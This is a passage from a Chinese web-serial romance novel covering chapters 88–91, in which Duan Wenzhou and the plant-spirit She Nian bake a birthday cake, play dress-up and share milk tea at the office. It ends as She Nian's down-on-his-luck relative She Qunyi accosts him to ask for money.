“秘密,说出来就不灵了。” 而段闻洲却是神秘一笑,目光意味深长地在人身上打转了一圈,没有透露。 “来来来,该切蛋糕了啊。” 祁宁积极得很,嚷嚷着让人赶快下刀。 第一块蛋糕被放在了佘念跟前,然后才依次分给其他的人。 见状,祁宁和贺扬、陆远修两人相视一笑,无言用目光交流着讯息。 就在佘念拿起蛋糕,期待地搓搓手准备叉起一小块吃时,耳边却忽然飘来段闻洲低沉的声音: “佘念。” 突然被点名,佘念好奇地用鼻子轻哼一声发出询问。 他刚想转头看过去,但还没来得及动作,下一秒肩膀上就多出了一股力量,不由分说将他向下按去。 猝不及防地,他被人带得屈膝蹲了下去,连手中的蛋糕都没端稳,整块掉在桌子上,只有另一只手中的叉子幸存。 还没反应过来,只听见在自己蹲下的那瞬间,桌子上方同时传出三声啪叽声。 像是奶油被拍到某处的声音。 茫然的佘念缓慢地眨了一下眼,偏头看了看身边的段闻洲,还没来得及开口询问,紧接着就被拉起来。 站直后,环视一圈看清了桌边的景象,小蛇舌草大吃一惊。 怎么,这三人脸上全是奶油?? 只见祁宁、贺扬和陆远修三人,每个人的脸上都糊满了奶油,并且动作出奇地一致,都保持端着蛋糕朝彼此面门拍的姿势。 一人伸一只胳膊,形成了一个诡异的三角形闭环。 换位思考一下,如果刚刚老公没有拉着自己蹲下的话,大概两人也要跟着遭殃了。 你们人类过生日都是这么玩的吗?奶油不是拿来吃的,是拿来拍人的? “他们每年都是这个套路,都已经能预料到了。” 段闻洲淡淡地道,然后把自己专门“抢救”下的那块蛋糕递到佘念跟前。 诶,还有蛋糕! 果然老公最懂我了! 见状,佘念眼睛瞬间亮了起来,像一只兴奋的小仓鼠,哼哧哼哧埋头吃。 还是老公好!带自己躲开奶油攻击的同时还不忘给自己留一份蛋糕。 ———— 又在温泉酒店里待了一天后,五人启程回家。 在上车出发的前夕,祁宁悄悄凑到佘念的身边,压低声音问道: “小佘念,回去以后你是不是还要给老段补生日礼物的?” “嗯。” 闻言,佘念用力地点了点头,甚至已经在心里盘算好要准备什么礼物了。 “我知道他喜欢什么,等回去以后我送你点好东西,你用了以后肯定能哄他开心。” “真的吗?” “那当然,我还能骗你不成?不过这事你可千万不要让老段知道,不然就不算惊喜了。” 像是地下党接头一样,祁宁同人说完后就立刻溜走,装作无事发生一样上了车。 老公喜欢的东西?会是什么呢? 琢磨不透,佘念缓慢地眨了一下眼睛,看向段闻洲所在的方向。 只见段闻洲正一手拎着两人的行李,另一手则捧着佘念送的那束蛇舌草花。 通常来说,对于收到花这样的礼物,大部分人其实都不会带回去的,因为体积太大,不便于运输和保管,拿回家反倒是个麻烦事。 可段闻洲却对其视若珍宝,专门腾出一只手拿上它,小心翼翼地捧在怀中。 珍惜得就连一片叶子都没弄掉,还保留着最初的模样。 会这么珍惜自己送的礼物,那想必老公应该也是喜欢自己的吧? 最起码,也是不讨厌自己的。 这就说明自己很有机会。 加油佘小念,要打起精神继续努力追人!一定要成功追上! ———— 回到家后,佘念立刻着手准备给人补上生日礼物。 他先是花了大价钱买了一块百达翡丽的表准备送给人。 然后,他又弄了一小块本体的叶子,亲手制作成了吊坠。 绿色叶子被封在蜜蜡中,宛如琥珀,黑色的丝线穿孔而过,是纯手工完成的独一无二的项链。 这次佘念特意选取了一小片快要掉落的叶子,这样在外表上就不会又变得秃头了。 之所以要做这么一块吊坠,希望人能随身带在身上,是因为一能起到庇佑的作用,吊坠里的叶子也携带自己的法力,在特定情况下可以保护人,二来其实是在和之前的蛇舌草暗暗较劲。 ——哼哼,这下老公也能随身携带我这颗蛇舌草了,比起外面的花花草草,老公肯定还是最喜欢我的。 做完这些后,佘念还想给人亲手制作一个生日蛋糕。 不过因为曾经被禁止进厨房的命令,在和段闻洲商量过后,两人决定明天由两人共同完成这项工作。 一起做蛋糕,一起过生日,然后再把礼物送出去,嗯是很完美的安排! 就在约好了做蛋糕的当天上午,佘念收到了祁宁寄来的包裹。 想必这就是祁宁之前说的,能哄老公开心的好东西吧? 想到这,他好奇地拆开,但在看清里面的东西后,不由得陷入了沉思。 确定,这个是老公会喜欢的吗?没想到老公的口味如此呃……特别? 但是……祁宁这么做一定有他的道理,还是相信他吧。 于是佘念深呼吸一口气,做好了心理准备后,默默捧着包裹,回到了房间。 ———— “佘念,我回来了。” 为了能尽早回家一起做蛋糕,段闻洲特意提早下了班,进屋以后却没发现小朋友的身影。 难道不在家吗? 他奇怪地查看,突然听见卧室方向传出一阵慌乱的动静。 好像还有什么被打翻的声音,噼里啪啦格外混乱。 “佘念!” 段闻洲一惊,以为出了什么事,立刻大步冲到卧室门口,但在打开门后,却被眼前的景象给震惊到,一时间竟愣在原地。 “老、老公,你怎么这么早就回来了?” 而床上的佘念显然也很慌张,手足无措地扭头看来,满脸绯红。 迎上人的目光,段闻洲险些以为自己出现了幻觉。 所以,谁能来告诉自己,为什么佘念会穿着兔女郎装,坐在卧室的床上? 第88章 只见佘念身上穿着清凉的布料, 黑色的皮衣光泽十足,紧紧地包裹住身体,极其贴合, 勾勒出完美纤细的流畅曲线。 圆润的肩膀和凹陷的锁骨就这么坦荡荡地暴.露在空气中, 大概是被吓到了, 他的手臂无措又慌乱地捂住胸.前,一副楚楚可怜的样子叫人顿时心生怜爱。 但同时也激起人的恶劣心思, 想更加狠狠欺负他。 即使胳膊试图遮住胸.膛,依然可以窥见其中的风光, 可以看到因不够饱满而难以支撑的衣领向下垂去,胸前殷.红的梅花若隐若现。 一双雪白笔直的长腿比丝绸还光滑, 比牛奶还白皙, 与黑色的衣服形成鲜明对比。 除此之外, 身后毛绒绒的兔尾巴也因侧身的姿势而显露, 又大又圆,搭配上头顶的兔耳发箍,简直是浑然天成的兔男郎。 白色的兔耳垂在脑袋两侧, 软乎乎的, 看上去手感就很好。 可以说是小蛇舌草精爆改小兔子精。 在看见段闻洲进来后,佘念吓了一大跳, 没想到人今天这么早就回来了。 还刚好撞破自己换衣服的现场。 十分钟前, 他拆开祁宁寄来的包裹,惊讶地发现里面的东西超乎想象。 万万没想到,包裹里居然是衣服。 是衣服就算了, 还是如此清凉的款式。 老公他,真的会喜欢这个吗? 看着手中两件极度凉快的衣服,佘念陷入了沉思。 出于对祁宁的信任, 想到他既然是段闻洲多年的朋友,那对人的喜好肯定是了解的,说的话应该不会错,犹豫了一会后,佘念还是选择了相信。 于是他先是换上了其中一件衣服,刚想打量一下上身效果时,没想到段闻洲却提前到了家。 两人大眼瞪小眼,一时间谁也没有先说话,卧室内陷入一片尴尬的寂静。 最终,还是佘念扯了扯身上的衣服,扭捏地率先开口: “老公,你、你不喜欢吗?” 瞧着对面小朋友瓮声瓮气,又委屈巴巴的模样,白里透红的娇羞脸颊比水蜜桃还嫩,段闻洲只觉气血上涌,嗓音发涩: “我……” 用这样的打扮说这样的话,着实有些太犯规了。 该说不喜欢吗?撒谎好像不太好,因为这个打扮确实很适合他。 该说喜欢吗?坦诚好像更不好,万一让小朋友学会了奇怪的事怎么办。 “咳,其实,挺好看的。” 最终,他别扭地清了清嗓子,不好意思地偏过头去,还是选择了如实回答。 实诚地说完后,他的脸颊稍稍泛红,薄红一路蔓延至耳廓。 “真的吗?” 闻言,脸上的紧张瞬间消散,佘念眼睛倏地一亮,剔透清澈的眸子仿佛玻璃珠子一样,里面闪动着耀眼明亮的光芒。 看这个表情,就知道他很是为这一句肯定而开心。 还记得婚前带人去买衣服的那次,佘念好像也是指着一套女装,说要买这个。 而且还是一条黑色紧身包臀裙,和身上这件兔女郎装是同种类型的。 原来自己之前没有理解错,小朋友是真的有这方面的癖好,私下里喜欢穿这种风格的裙子。 想到这,段闻洲心下了然,更加对佘念有女装癖这件事深信不疑。 而佘念则在听见老公夸自己好看后,也明白了一个道理。 原来祁宁没有骗自己,不愧是老公的发小呀,就是比自己更了解老公的喜好。 就是没想到老公居然会有这方面的癖好,爱看别人穿这种裙子。 明明之前还语重心长地对自己解释,说什么男孩子不可以穿女装,其实他自己也很爱的嘛。 想到这,佘念心下了然,对段闻洲爱看别人穿女装这件事毫不怀疑。 两人之间就这样,莫名其妙地误会了对方的想法。 “老公你稍等一下。” 想起还有另一套衣服没有试过,佘念心底的扭捏烟消云散,立刻拿起衣服跑向卫生间。 ——当然是寿星为大啦,既然老公喜欢,那就再穿另外一套给人看好了。 相信祁宁,他选的一定是对的! 只见小朋友急匆匆地跑进卫生间,手中还拿上了另一套衣服,瞧着被关上的磨砂玻璃门,段闻洲有些好奇是要干什么。 可能是要把那身衣服给换下来吧。 他猜测道。 “好啦,老公你快看——” 大概十分钟后,伴随着欢快清脆的声音,门被推开,换了新装扮的佘念闪亮登场。 听见响动,段闻洲扭过头看去,在看清人的打扮后却是一愣,表情僵住。 怎么小朋友脱下了兔女郎装,转头又换上了女仆装? 只见此时的佘念一身黑白色的长袖女仆装扮相,蕾丝波浪花边点缀着黑色底裙,外面罩着白色围裙,显得既俏皮又可爱。 裙摆堪堪遮住膝弯的位置,刚好露出套上了黑色丝袜的小腿来,有一小截绝对领域随着裙摆的摇晃而若隐若现。 除了裙子本体外,这身搭配也有头箍,花边包裹的发箍两侧还有细丝带系的蝴蝶结,蝴蝶结的两根下摆飘啊飘,像是羽毛一样挠着人的心。 “好看嘛?” 说着,佘念歪了歪脑袋,还拎起裙摆转了一圈,颇为大方地向人三百六十度无死角展示自己的打扮。 “……好看。” 对视上人期待的大眼睛,段闻洲只觉一股燥热涌上心头,他咽了咽口水,喉结滚动,嗓子发哑。 不论是刚才性.感的兔女郎装,还是现在俏皮的女仆装,穿在佘念身上都很好看。 又一次被夸,佘念的眼睛弯成了月牙,开心地歪了歪脑袋,不过很快就陷入了纠结。 既然两件衣服老公都喜欢的话,那今天该穿哪件好呢? “老公,你更喜欢哪一套?我换上你喜欢的那套陪你做蛋糕呀。” 意思是要穿这两套衣服进厨房? 随便想象了一下佘念穿着兔女郎衣服在案台边的样子,雪白的大腿站在案台边,大概比墙面上的瓷砖还要白皙,并且每每有所动作,身后的兔尾巴都会随之轻晃。 颤啊颤的,像是真的从身后长出的一样。 这个画面,也太危险了。 光是假想一下,都要觉得浑身燥热。 于是段闻洲连忙刹住车,撇开乱七八糟的画面,清了清嗓子,佯装随意地说: “别换了,麻烦,穿你身上这件就行。” 虽然说,被脑海里的画面刺激到,他甚至完全没想到其实还有换普通衣服这一选项。 “好噢——” 听见人这么说,佘念迈开轻快的脚步,刚想直奔厨房,但在从人身边经过时,却被人按住了头顶。 “等一下。” 只见段闻洲忽然取下了他脑袋上的发箍,转身取来了另一个兔耳头箍,给人戴上。 不明所以的佘念歪了歪头,垂下的兔耳也跟着他的动作晃了晃。 “这个更可爱。” 说着,段闻洲捏起一只兔耳朵,贴在人脸颊侧蹭了蹭。 既然老公都这么说了,那就这样叭! 于是我们的兔耳小女仆抱住人的胳膊,对其露出一个甜甜的笑容来。 又乖又可爱,简直比头顶的兔耳朵还要软上几分。 见状,段闻洲不由得伸出手来,挠了挠他的下巴,就像是真的在逗宠物兔子一样。 而被挠的佘念也十分配合,舒服得眯起了眼,嘴里还发出哼唧哼唧的声音,像极了被人撸的小兽。 等人停下后,他还意犹未尽地抬眼望来,视线里满是不解的询问。 ——怎么不摸了呢? “先去厨房吧,不然时间来不及了。” 被这双眼睛看得险些要把持不住,段闻洲避而不答,心虚地移开视线,岔开话题向房间外走去。 也对,还是抓紧时间先去做蛋糕叭。 闻言,佘念自顾自地点点头,然后快步上前跟在人身旁。 厨房里的各项原材料已经提前被我们的小蛇舌草女仆准备好,此时正整整齐齐地摆放在料理台上面,分门别类。 不得不说,佘念现在这幅打扮倒确实很适合厨房,连围裙都不用穿了。 他乐颠颠地取来另一条围裙,主动要帮段闻洲穿上。 ——嗯,很完美,不过还是自己身上这条围裙更好看一点。 替人仔细地系好袋子,捋了捋围裙表面,佘念颇为满意地欣赏自己的作品。 哑然失笑的段闻洲任由人动作,提醒道: “那我们现在就开始了?” “好!” 将蛋黄和蛋清分离后,两人分工合作,佘念负责蛋糕胚的制作,而段闻洲则负责打发奶油和洗水果。 ——这是佘念要求的,他主动揽过大头工作,把轻松的内容分给段闻洲,这样才勉强算得上亲手为人制作蛋糕。 由于低头的动作,头顶两侧的兔耳总是滑落遮挡住视线,一开始他还是甩头把耳朵拨弄开,后面烦起来了,便索性将兔耳朵在头顶打了个结。 乍一看,还以为在脑袋上顶了个蝴蝶结。 在他挽起袖子哼哧哼哧埋头苦干时,段闻洲不停地用余光打量着人,看看是否需要给小朋友搭把手。 由于已经提前在网上做过功课,佘念对步骤牢记于心,每次动作时嘴里都还会嘟囔着背诵网上教程的下一步。 在打发夹心奶油时,由于分心盯着人看,打蛋器的速度开得太快 ,一个不留神,有奶油溅起沾到了段闻洲的脸上。 他愣了愣,开口向旁边的人求助道: “佘念,可以帮我擦一下吗?” 闻言,佘念停下动作望来,在看见人脸上的那一小抹白色奶油后,缓慢地眨了眨眼,思索了一秒,随即用力地点点头。 就在段闻洲以为他要扯过纸巾来帮自己擦掉时,却只见小朋友忽然踮起了脚尖,向自己的方向靠近。 下一秒,有湿热的触感从皮肤上略过。 竟是佘念用舌头舔掉了那抹奶油。 第89章 不是用手, 而是用舌头舔掉了。 火红的小舌从嘴里伸出,轻轻一掠,以柔和得让人心里发痒的力道舔走奶油。 舌尖一卷, 白色的奶油瞬间从脸颊消失, 转而进入了他人的口中。 奶油不见了, 但湿润温热的触感仍保留在皮肤表面,久久不能消散。 最开始还以为小朋友是要伸手替自己擦掉, 段闻洲还特意弯下了腰,好方便人动作, 直到舌尖触碰到脸颊,他反倒愣在原地, 一时间竟忘了起身。 偏偏对面的当事人还毫无自觉地舔了舔嘴唇, 舌尖在唇瓣上留下一层晶莹, 不知是不是在回味方才的那一抹甜味。 其实, 佘念并没有想那么多,只是方才手中都拿了东西,他没有空出来的手替人擦干净脸, 所以才下意识地舔掉了。 反正用手用嘴都是差不多啦, 能擦干净奶油就行。 老公肯定也是这么想的吧? 想到这,佘念眨了眨无辜的圆眼睛看向对面的人。 对视上那双如小鹿般湿润纯良的眼神, 明明是被“非礼”的那方, 可段闻洲莫名觉得好像自己才是有罪的那一方。 “……谢谢。” 他哑着声,喉间传来吞咽的声音,艰声地道谢。 虽然说方式不太对, 但好歹也是一番好心地帮了自己。 依然是结果正确,方法有些磨人。 看吧,老公果然不在意啦。 佘念弯了弯眼睛, 紧接着又凑上去在人的脸颊上吧唧亲了一口,做完这一切后他开心地摆了摆脑袋,继续手上的动作。 而猝不及防被亲,段闻洲脸上的错愕溢于言表,瞳孔微睁,彻底愣住。 但瞧见小朋友淡定的背影,他回过神来,无奈地摇了摇脑袋,嘴角勾起一个颇为宠溺的笑。 在两人的默契配合下,没有任何翻车的步骤,奶油蛋糕很快就出炉了。 虽然只是最简单的水果夹心奶油蛋糕,算不上有多昂贵,但毕竟是两人共同完成的,其中的价值难以衡量。 “该切蛋糕了!” 将蛋糕端到桌子上后,佘念掏出来早已提前买好的蜡烛,认真地替人插在了上面。 直到看着立起来的数字三和十,段闻洲这才有了实感,意识到自己已经三十岁了。 自己已至而立之年,但身旁的少年仍处在最青春灿烂的年纪,热情、坦诚,依然有着一往无前追寻所爱的勇气。 佘念还年轻,还有更广阔的未来和更多的人生选择。 距离对自己表白,说要追人的那天起,已经过去了近一个月,但少年的赤诚与爱意却丝毫未减,反而有愈演愈烈的趋势。 面对人每天坚持不懈的表白,用乖软的嗓音说“我喜欢你”时,好几次段闻洲都险些动摇,想要直接答应下来。 但属于年长者的那份顾虑,让他硬生生克制住了自己。 如果……如果佘念还能再坚持一个月的话,就说明他不会为自己的选择后悔,届时就正式在一起好了。 到时候,换自己来向他表白。 想到这,段闻洲的眉眼浮现出一抹温和的笑意。 “老公,你怎么不吹蜡烛呀?” 见人半天没有动作,佘念双手捧着下巴,小声提醒道。 “现在就吹。” 被人这么一提醒,段闻洲这才从思绪中回过神来。 吹完蜡烛后,佘念咧嘴对人嘿嘿笑着,然后用食指沾了一小点奶油,轻轻地点在了他的脸上。 ——之前祁宁他们切蛋糕时好像就是这样做的,要往人脸上抹奶油,不过他们那种抹法太浪费啦,这毕竟是和老公一起做的蛋糕,还是要珍惜一下。 所以,就意思意思抹一点点奶油好啦。 感受到鼻尖传来的凉意,段闻洲先是愣了愣,随即反应过来,露出一个了然的笑。 紧接着,他也伸手沾了一抹奶油,含笑点在了人的脸蛋上。 脸上陡然也多了奶油,变得和老公一样,佘念嘴角噙着的笑忽然间变得灿烂,也更傻乎乎起来。 当第一块蛋糕被摆放在跟前时,佘念没有急着下口,而是将其推到了老公跟前,示意由他先吃。 “怎么样,好吃吗?” 同时,小朋友的眼睛一眨不眨地盯着段闻洲的动作,既期待又紧张地问道。 蛋糕入口,段闻洲脸上的笑意更甚,轻声的回答中似乎意有所指: “嗯,很甜。” 不单单是奶油很甜,还有其他的。 甜意从舌尖扩散,一直蔓延至心脏,甜丝丝的,让人心软得不像话。 ———— 给人过完生日后,日子恢复平日的节奏。 佘念一边继续工作跑行程,一边坚持不懈地追人。 虽然在模特界已经小有名气,但毕竟只是作为爱好而非职业,所以他并没有因此大接特接工作,行程贵精不贵多,比起报酬,通常都会选取更心仪的拍摄。 也正是因为他这样的安排,反而使得人气提升得更快,街头随处可见他的代言广告,已经拥有了可观的粉丝量。 除了工作外,剩下的时间佘念都在兢兢业业进行着自己的追人大计。 某天在衣柜里翻找衣服时,他意外从段闻洲的衣柜底下,找出来了一件奇怪的裙子。 黑色的紧身包臀裙,正是两人结婚前佘念指着要买的那条。 不过当时佘念只是还不太清楚服装分性别这件事,现在已经完全把此事抛之脑后了,并没有认出来这条裙子。 将黑色裙子拿出来反复打量,他更加坚定了自己的认知: 果然,老公喜欢看自己穿女装。 而且仔细分辨的话,还能发现这正好是自己的尺码。 更加印证了这是为自己买的。 既然如此,那以后再找机会给老公一个惊喜,换上这一身衣服给他看叭。 这么想着,他深藏功与名地叉腰,又把裙子藏回了衣柜底下,假装从没发现过。 这天下午,从摄影棚出来的佘念没有直接回家,而是转道去了某家甜品店,紧接着和人家店里的运货车一块来到了段氏集团大楼。 哼哼,老公,我来啦—— 下车后,只见他双手叉腰,仰头望向大楼最顶端的办公室,一脸骄傲的得意表情。 “什么情况?咦这不是小念夫人吗?” 眼见大车在公司门口停下,不断有人进进出出地往大厅里搬着什么,职工们好奇地走过去围观,有眼尖的人立刻认出了来人是佘念。 ——大家都知道佘念是段总夫人,由于他年纪小,长得也显嫩,所以大家背地里都爱称呼他为小念夫人。 “佘念先生,您怎么来了?” 路过的特助见状,连忙招呼几个人上前帮忙。她余光一瞥,看清了搬下来的纸箱里装的都是奶茶甜品之类的点心。 “我来给你们送下午茶。” 说着,佘念歪了歪头,对人露出一个富有亲和力的微笑。 ——这是祁宁告诉他的,说有的人就喜欢被他人轰轰烈烈地追求,比如说大庭广众之下捧花表白等兴师动众的做法,在追人方面能起到事半功倍的效果。 听了人的话,本来佘念还想去段氏集团大楼下大声表白,但就在他别着喇叭准备出门时,被段闻洲给当场抓获,然后就像拎鸡仔一样被提溜回了家。 并且斥十块巨资买的作案工具大喇叭,也惨遭没收。 这条路走不通,于是佘念转念一想,便换了个办法。 ——那就是浩浩荡荡地来公司给大家送下午茶,顺便也给老公带一份。 正所谓爱屋及乌,这么干也能起到大阵仗追人的架势。 “每个人都有份的,麻烦你帮忙分发一下可以嘛,我想去楼上找你们段总。” 听到还有老板娘自掏腰包请大家吃下午茶这样的好事,特助拍拍胸脯保证,表示都交给自己就好,请他放心上楼。 既有免费的点心吃,还是带薪磕老板家的cp,这样的好事简直可遇不可求。 这在整个段氏也是一段佳话啊。 闻言,佘念便放心地把下午茶交给了他们,然后自己拎着其中一份小蛋糕上了楼。 ———— “进。” 听见办公室外传来的敲门声,段闻洲头也不抬地应道。 只见来人哒哒地走了进来,放到桌子上的却不是文件,而是一块蛋糕。 见状,段闻洲签字的动作一顿,若有所思地抬头望来,正好对视上一双滴溜圆的大眼睛。 杏仁般的圆眼缓慢地眨了一下,在半空中与人对上的瞬间弯了弯,浮现出笑意。 “你怎么来了?” 被那双亮晶晶眸子中的笑意感染,段闻洲的眼底也多出一抹柔和,温柔地问道。 “我来看看你,还给大家都带了下午茶呢!” 说着,佘念勾了勾嘴角,对人晃了晃手中的盒子示意。 紧接着,他左顾右盼地环视一圈,确认没有其他人后,才神神秘秘地上前凑到人身边。 由于尚处在冬春交替之际,天气还有几分寒意,所以佘念今天身上穿着的是一件薄款风衣。 “给你看个大宝贝——” 只见他忽然开始解风衣上的纽扣,似乎是想脱衣服,口中又说着如此让人误会的话,段闻洲一愣,连忙握住人的手腕。 不知怎的,他下意识觉得这个动作配上这句话,好像不太对劲。 生怕某人又干出一些惊世骇俗之举。 比方说,风衣里面没穿衣服之类的…… 总觉得小朋友真干得出来这种事。 “怎么啦?” “你脱衣服做什么?” “不是跟你说给你看个宝贝嘛。” 说完,佘念抽出手来,继续解扣子。 怎么也拦不住人,段闻洲深呼吸一口气,努力平复下突然加速的心跳。 “锵锵——” 听见小朋友兴奋的声音,余光瞥见他大咧咧地敞开胸膛,段闻洲下意识闭上了眼。 见他没动作,佘念甚至还主动拉着他的手往自己的方向摸,段闻洲不停地在心里默念非礼勿视,耳尖微微发红。 可手上却忽然摸到一股热到滚烫的触感。 段闻洲奇怪地睁开眼一看,却发现自己摸到的是一杯奶茶。 而且这杯奶茶,还是被藏在小朋友风衣的内口袋里。 所谓的大宝贝,原来说的是这杯奶茶? 第90章 摸着这杯奶茶, 段闻洲的头顶缓缓浮现出一个问号。 好端端的,小朋友为什么要把一杯奶茶塞在衣服内袋里? 不嫌烫吗? “你摸摸,是不是温度还是热的。” 像是献宝一样, 佘念还挺了挺腰, 把那杯奶茶往人手中送。 何止是热, 简直可以说是烫手,保温措施做得有点太好了。 “为什么要放到这里面?” 一边说, 段闻洲一边无奈地把奶茶拿出来,并用手背贴了贴人的那片皮肤, 确认没有被高温烫伤后才放下心来。 “因为我想让你喝上热奶茶嘛。” 闻言,佘念眨了下眼, 一本正经地说道。 “奶茶从店里送过来可能会变凉, 但是我想让你喝热的, 所以就塞到衣服里保温了。” “啊我不是说要故意给大家喝凉的, 送过来应该都还是温热的,就是没你这杯这么烫而已。” 说着,意识到自己话里的歧义, 佘念急得手舞足蹈地解释起来, 生怕被人理解错意思。 由于订购的下午茶数量太多,在制作和运输的过程中难免会变凉, 但是在这种微凉的天气里当然是喝热奶茶最舒服, 所以为了让段闻洲喝上温度最适宜的奶茶,他便贴身携带,专门用大衣和自己的体温来为其保暖。 没想到小朋友会这么贴心。 看着面前的奶茶, 段闻洲的瞳孔中闪烁着讶异,随即眉眼微微下弯,流露出如水一般的温柔。 倒还真是个大宝贝, 只不过这份宝贝所指的,不单单是奶茶。 ——面对这样乖的举动,没有人会不为之动容的。 “谢谢。” 他抬起手,温柔地摸了摸人的头顶,轻声道谢。 紧接着,在人期待的目光中他插上吸管,细细品了一口。 “怎么样?合你口味嘛?” 因为记得人不爱吃甜食,所以佘念专门给他点了少糖,但是不确定这种程度对他来说也太腻了。 “还是热的,很甜。” 说完,段闻洲勾了勾唇,视线佯装无意地扫过佘念的脸,意味深长地评价道。 复杂的情绪在瞳孔中快速闪过,深邃的眼眸仿佛一片看不见底的海洋,海平面掀起了风浪,爱意化身海燕,在波澜中闪过身影。 “咦,少糖也甜吗?” 温度肯定是热的,但是自己专门给人点了少糖还是太甜吗,佘念拧起眉头小声嘟囔,一边说一边转动着杯身查看标签,确认一下自己有没有点错。 甜的并不是奶茶,而是人。 但是段闻洲并不会将这样的话说出口,只是眉眼带笑,温柔地注视着人。 小朋友的视线快要将对面的奶茶盯穿,紧接着,只见他忽然动作,含住了吸管。 两人的唇瓣在吸管口的位置重叠。 “明明不甜呀。” 喝了一小口后,佘念挠了挠头,没想通这种程度的居然老公也会说甜。 难道以后要无糖才行吗? 看样子,小朋友误会了自己的话,整个人还完全蒙在鼓里。 见状,段闻洲哑然失笑,伸手拿过奶茶放在了另一边。 “甜的不是奶茶,是别的。” 嗯?说的不是奶茶,那还会是什么?蛋糕都还没吃呢,佘念茫然地歪了歪脑袋,没有理解他的话。 瞧见人困惑的样子,段闻洲哑然失笑,但没有为其解释,而是换了个话题: “谢谢你的心意,我会好好喝完这杯的。” 闻言,佘念立刻忙不迭地小鸡啄米点头,将方才的疑问抛之脑后了。 甜不甜的不重要,重要的是虽然老公嘴上说很甜,但是还是会喝完,说明他一定很重视我。 想到这,佘念不存在的尾巴在身后摇了摇,很是开心。 “来这边坐一会,等会我把工作忙完就来陪你。” 段闻洲指了指身边的椅子,示意人坐在这等一会。 嘴上答应得好好的,但就在想要坐下来的前一秒,佘念忽然又想起了祁宁所说的话。 ——追人的时候,可以试试得寸进尺,如果他纵容你,那就说明你对他是特别的。 对“狗头军师”祁宁的话深信不疑,佘念思索了片刻后,便立刻调转了方向。 只见他迈步,走到段闻洲旁边,没有坐到旁边的椅子上,而是噗叽一下,一屁股坐在了人的大腿上。 怀里陡然多了一个软乎乎的小朋友,段闻洲的脸上难得地有几分茫然。 而我们的小蛇舌草,则是骄傲地仰起了下巴,撅嘴看着人,满脸写着你要是敢把我赶下去我就闹了。 颇有几分恃宠而骄的意味在里面。 这幅样子落在人眼里,让段闻洲下意识联想到了气鼓鼓的河,令他没忍住噗嗤一声笑了出来。 “你笑什么?” 状况外的佘念歪了歪头。 “没什么。” 闻言,段闻洲连忙压下嘴角的弧度,佯装无事发生。 既然小朋友想坐这,那就随他坐好了。 于是他轻轻颠了颠腿,微微调整姿势,让佘念坐在大腿上最舒服的位置,一只手扶住人的腰,另一只手则在键盘上敲打着。 眼见着得寸进尺被纵容,佘念高兴地歪了歪脑袋,觉得自己的追人大计又迈出了一大步。 电脑屏幕上的表格让人眼花缭乱,他盯着看了一会就觉得头晕,于是眨巴着眼想找点别的事打发时间。 余光一瞥,就捕捉到了那块小蛋糕。 于是佘念伸手将其够过来,用叉子插起一小块,喂到人嘴边。 猝不及防被投喂,段闻洲敲键盘的手一顿,随即张开了嘴,接受了他的投喂。 “好吃吗?” “好吃。” 闻言,佘念更来劲了,摩拳擦掌,打算喂人吃小蛋糕。 ——即使自己也很馋,但一口也不会偷吃的,因为蛋糕是给老公准备的下午茶! 不过就在他要给人喂下一口时,伸出的手却被人握住。 “你自己也吃。” 只见段闻洲拉住佘念的手,轻轻一使力令其拐了个弯,就着他的手喂到了嘴边。 ——小朋友那么爱吃蛋糕,居然舍得一口不吃,而是想要全部分给自己,这怎么行。 “嚼嚼嚼,谢谢老公。” 一点也没有客气,不知为什么,总觉得好像嘴里的蛋糕比以往更甜了,佘念没忍住舔了舔嘴唇,吃完后还不忘再给老公续上一块。 就在段闻洲埋头工作时,桌上的内线电话突然响了起来。 “老公,有电话。” 佘念眨巴了一下眼睛,好心提醒道。 见状,段闻洲瞥了一眼号码,认出是特助打来的,由于正忙着处理工作腾不出手,他便扬了扬下巴,示意小朋友帮忙接通。 “喂,你好。” 于是我们的临时小念助手清了清嗓子,用又软又甜的声音,努力操出官方的腔调接通。 “咦是佘念先生吗?” 预料中总裁大人沉稳冰冷的声音没有出现,取而代之的却是乖巧甜美的嗓音,特助愣了一秒后,立即认出来了对面是谁。 “是我呀,你有什么事吗?” 佘念软声问道。 “是这样的呀,xx公司的谢总想邀请段总下个礼拜去参加一场慈善晚会,邀请函已经发到邮箱里了,可以麻烦你转告段总吗?” 大概是被对面的人感染,特助也下意识掐了掐嗓子,语调变得可爱起来。 “好哦,我马上告诉他。” 专业的小念助手很快就进入了角色,拿过笔在纸上记录下晚会的有关信息,然后才拿给人看,俨然十分专业。 “真棒。” 看着人靠谱的动作,段闻洲没忍住挠了挠他的下巴,夸赞道。 “嘿嘿。” 被夸奖了的佘念嘴角露出一个傻乎乎的笑。 ———— 本来想等段闻洲一块下班回家,不过由于临时有一场会议要召开,佘念便只好先自己四处逛逛消磨时间,等人散会。 他乘坐电梯下楼,不知不觉走到了段氏集团大楼外面。 在楼下的公共座椅上歇了一会,估摸着人应该快开完会了,佘念刚想站起身回去,后方却突然传来一阵急促的脚步声。 脚步声逐渐靠近,紧接着有人猛地扼住了佘念的手臂,硬生生将其往后拽去。 如果不是他反应得快,及时稳住身形,恐怕早就摔倒了。 他不由得皱了皱眉,试着抽了抽手,却发现来人力度极大,顿时警惕地道: “你是谁?” 只见对面的人头戴鸭舌帽和口罩,帽檐压得极低,配上黑色的口罩,几乎整张脸都被遮住了,只剩一双满是乌青黑眼圈的眼睛留在外面,其中满是疲惫之色。 “呵,我是谁?” 那人自嘲般地笑出了声,随即音调猛地拔高,尖锐得几近破音。 “你说我是谁!” 他一把拉下脸上的口罩,直到整张脸完全暴露在空气中时,佘念这才认出他是谁。 佘群逸?他怎么会在这里? 比起从前那个不可言说的跋扈公子哥,如今的他落魄极了,面容憔悴,身形也明显比之前消瘦了许多,满是沧桑感。 “你来干什么?” 趁其不备,佘念找准机会抽回手,警惕地后退一步。 看着对面光鲜亮丽的人,佘群逸只觉得讽刺极了。 佘念已与如今的自己形成鲜明对比,身份地位骤然颠倒,曾经灰扑扑的丑小鸭一跃成为了白天鹅,不仅嫁入段家,而且还成为了风头正盛的当红模特。 走到哪里都有他的广告,无时无刻不在提醒着自己两人眼下的差距。 反观自己,佘家每况愈下,管理层人员大批量离职,公司市值大面积蒸发,缩水得只有不到曾经的三分之一,并且还面临着高额的债务。 佘家早已辉煌不再。 “佘念。” 佘群逸握紧了拳头,复又松开,哑声道。 “看着兄弟的情分上,你能不能帮帮我?” “帮你什么?” 直觉告诉佘念,要帮的绝不是什么好事。 “你能不能让段闻洲投资佘氏,给一笔资金给我们周转?” 90-100 第91章 投资佘氏?给资金给他们? 一时间, 佘念都怀疑自己是不是出现了幻听。 